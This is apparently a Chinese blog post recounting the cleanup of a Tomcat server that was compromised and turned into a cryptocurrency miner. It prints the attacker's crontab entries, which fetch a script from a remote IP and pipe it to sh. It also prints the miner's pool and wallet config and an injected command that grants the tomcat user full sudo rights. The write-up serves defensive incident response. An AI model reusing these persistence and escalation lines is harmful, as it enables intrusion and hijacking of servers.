线上一台应用服务器报警,负载过高,这个就诡异了,因为只是一个普通的服务器,应用使用人员不到10个人,咋会负载高,肯定有问题哪,登陆上去查看,

top查看哪个占据的cpu资源比较多

[root@aew01~]# top
top - 14:27:49 up 423 days, 22:48,  3 users,  load average: 2.10, 1.85, 1.66
Tasks: 166 total,   1 running, 164 sleeping,   0 stopped,   1 zombie
Cpu0  : 45.4%us,  0.8%sy,  0.0%ni, 53.8%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  : 38.2%us,  0.8%sy,  0.0%ni, 59.8%id,  0.0%wa,  0.0%hi,  1.2%si,  0.0%st
Mem:  14389372k total, 14233284k used,   156088k free,    12388k buffers
Swap: 33554428k total,  1511980k used, 32042448k free,    40140k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
39674 tomcat    20   0  223m 2808  412 S 75.0  0.0   4031:53 atd
54892 tomcat    20   0 10.1g 3.6g 4816 S  4.6 26.4 969:07.52 java  

[tomcat@aew01~]$ crontab -l
 */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
 */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
[tomcat@aew01~]$

看到有一个atd进程,这是什么鬼? 查看atd进程

[root@aew01~]# ps -eaf|grep 39674
root     39023 37026  0 14:28 pts/0    00:00:00 grep 39674
tomcat   39674     1 85 Jul15 ?        2-19:12:05 ./atd -c bmsnxvpggm.conf -t 1
[root@aew01~]#

再查看atd执行脚本组件,看到是一个编译之后的可执行组件

[root@aew01~]# find / -name atd
/usr/sbin/atd
/etc/sysconfig/atd
/etc/pam.d/atd
/etc/rc.d/init.d/atd
/var/tmp/atd
[root@aew01~]# more /usr/sbin/atd

******** /usr/sbin/atd: Not a text file ********

[root@aew01~]#

查看配置文件bmsnxvpggm.conf

[root@aew01~]# more /var/tmp/bmsnxvpggm.conf
{
    "url" : "stratum+tcp://94.23.41.130:80",
    "user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}
[root@aew01~]#

看来是被盯上了,攻击了。kill掉进程

[root@aew01~]# kill -9 39979
[root@aew01~]# ps -eaf|grep atd
root     40917 37026  0 14:48 pts/0    00:00:00 grep atd
[root@aew01~]#

然后负载降下来了,但是可恶的是,不到5分钟,负载又上来了,一看又是atd这个进程在运行,进去查看tomcat的crontab任务,发现已经被写进crontab任务了,于是注释掉crontab任务。

    [tomcat@aew01~]$ crontab -l
     */20 * * * * wget -O - -q http://91.230.47.40/icons/logo.jpg|sh
     */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
    [tomcat@aew01~]$

然后又查看历史操作,有这样一个命令echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers曾经被执行过

echo “tomcat ALL=(ALL) ALL” >> /etc/sudoers

,于是,为了安全起见,进配置/etc/sudoers文件里面,注释掉 #tomcat ALL=(ALL) ALL这一行,然后重启tomcat应用程序。

彻底检查了下应用服务器所对于的db服务器,发现db没有被攻击,各种数据账号安全,又迅速修改了数据库账号密码等等。



BTY:最终的彻底的解解决方案还是需要应用开发人员,堵住tomcat的漏洞,避免黑客使用tomcat漏洞获得应用服务器的tomcat账号权限,进而登陆应用服务器,将应用服务器做成肉鸡,不停的往外发包。

Tomcat应用服务器被黑客 肉鸡攻击 记录的更多相关文章

  1. 谣传QQ被黑客DDOS攻击,那么Python如何实现呢?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  2. 2018年,传言QQ首次被神秘黑客DDOS攻击,Python可以实现?

    于2018-5-10日晚 网络流传黑客DDOS攻击了QQ服务器,导致大家聊天发送内容时出现感叹号.我们都知道一般情况下出现感叹号都是你的网络不稳定,或者...别人已经删除你了.然而昨晚很奇怪,发出的内 ...

  3. OSGI嵌入tomcat应用服务器(gem-web)——tomcat插件环境搭建

    相关的资源下载,参考:https://www.cnblogs.com/dyh004/p/10642769.html 新建普通的plugin工程 新建工程运行环境 在工程中,新建运行环境 新建存放运行环 ...

  4. tomcat应用服务器

    Tomcat性能调优方案 一.操作系统调优 对于操作系统优化来说,是尽可能的增大可使用的内存容量.提高CPU的频率,保证文件系统的读写速率等.经过压力测试验证,在并发连接很多的情况下,CPU的处理能力 ...

  5. Servlet、Tomcat访问(access)日志配置、记录Post请求参数

    一.运行环境: Maven:3.5.2(点击下载) ,下载页 Tomcat:8.5.29(点击下载) ,下载页 JDK:jdk1.7.0_80(点击下载) ,下载页 MavenDependency: ...

  6. 搭建Tomcat应用服务器、tomcat虚拟主机及Tomcat多实例部署

    一.环境准备 系统版本:CentOS release 6.6 (Final) x86_64 Tomcat版本:tomcat- JDK版本:jdk-8u25-linux-x64 关闭防火墙 软件包下载地 ...

  7. UVa 11825 黑客的攻击(状态压缩dp)

    https://vjudge.net/problem/UVA-11825 题意: 假设你是一个黑客,侵入了一个有着n台计算机(编号为0,1,...,n-1)的网络.一共有n种服务,每台计算机都运行着所 ...

  8. JTA集成JOTM或Atomikos配置分布式事务(Tomcat应用服务器)

    一.以下介绍Spring中直接集成JOTM提供JTA事务管理.将JOTM集成到Tomcat中. (经过测试JOTM在批量持久化时有BUG需要修改源码GenericPool类解决)! 参考文章http: ...

  9. UVA11825 黑客的攻击 Hackers' Crackdown 状压DP,二进制,子集枚举

    题目链接Click Here [题目描述] 假如你是一个黑客,侵入了一个有着\(n\)台计算机(编号为\(1.2.3....n\))的网络.一共有\(n\)种服务,每台计算机都运行着所有服务.对于每台 ...

随机推荐

  1. BOM对象,math对象document对象的属性和操作和 事件的基本操作

    Math对象 //该对象中的属性方法 和数学有关. abs(x) 返回数的绝对值. exp(x) 返回 e 的指数. floor(x) 对数进行下舍入. log(x) 返回数的自然对数(底为e). m ...

  2. NIO复习01

    NIO 概述: 1. Java NIO 由以下几个核心部分组成:Channels       Buffers           Selectors 2. 主要Channel的实现:FileChann ...

  3. maven入门学习(一)

    一.maven介绍 1.软件开发中我们为什么要使用maven呢?(纯属个人体会观点,如有错误,敬请指正) (1)其一,企业岗位需求,目前的IT开发招聘岗位上,基本都要求会使用maven.        ...

  4. 【Java】仿真qq尝试:聊天界面 && 响应用户输入

    需求分析: 逐步完善一个“qq仿真”程序. 参考: 1.文本框与文本区:http://www.weixueyuan.net/view/6062.html 2.java布局:http://www.cnb ...

  5. Apache 域名跳转配置

    域名跳转 就是实现URL的跳转和隐藏真实地址,基于Perl语言的正则表达式规范.平时帮助我们实现拟静态,拟目录,域名跳转,防止盗链等 .   参数格式 参数: Apache mod_rewrite 规 ...

  6. tesseract 3.05 release 编译

    tesseract 3.05 release版本的对应配置好的vs2015工程.偷懒必备,毕竟依赖那么多库,环境配置还是要费点事的.https://github.com/peirick/VS2015_ ...

  7. 欧拉筛法(phi,d,prime)

    筛法求素数的核心就是让每个合数被它的最小质因子筛掉,那么剩下来的就是素数了. 于是在这个过程中我们可以顺便求出每个数的φ().d().e(). ϕ:小于等于该数的与它互质的数的个数(一个数与其自身互质 ...

  8. Python 私有化属性

    # 对象的基本理论 # 什么事对象? # 万物皆对象 # 对象是具体物体 # 拥有属性 # 拥有行为 # 把很多零散的东西,封装成为一个整体 # 举例:王二小 # 属性 # 姓名 # 年龄 # 身高 ...

  9. 偶然发现有的IIS里的程序,连接 不上SQL Server数据库, 超时

    经查应用程序池中, 有一个启用32位应用程序,  有时打开它就能连接上SQL SERVER了.

  10. Mybatis plus 高级

    最近项目重构 dao层使用的Mybatis plus,有必要总结下. Mybatis plus 会自动维护Mybatis 以及 MyBatis-Spring 相关依赖  所以在构建项目时候 只需要引入 ...